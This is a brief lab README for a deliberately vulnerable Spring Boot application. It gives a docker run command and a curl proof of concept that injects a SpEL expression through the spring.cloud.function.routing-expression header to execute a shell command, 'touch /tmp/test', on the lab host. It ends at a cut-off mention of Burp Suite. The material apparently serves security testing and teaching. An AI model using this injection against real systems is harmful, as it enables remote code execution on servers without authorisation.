To run the vulnerable SpringBoot application run this docker container exposing it to port 8080. Example:
docker run -it -d -p 8080:8080 bobcheat/springboot-public
Curl command:
curl -i -s -k -X $'POST' -H $'Host: 192.168.1.2:8080' -H $'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec(\"touch /tmp/test")' --data-binary $'exploit_poc' $'http://192.168.1.2:8080/functionRouter'
Or using Burp suite: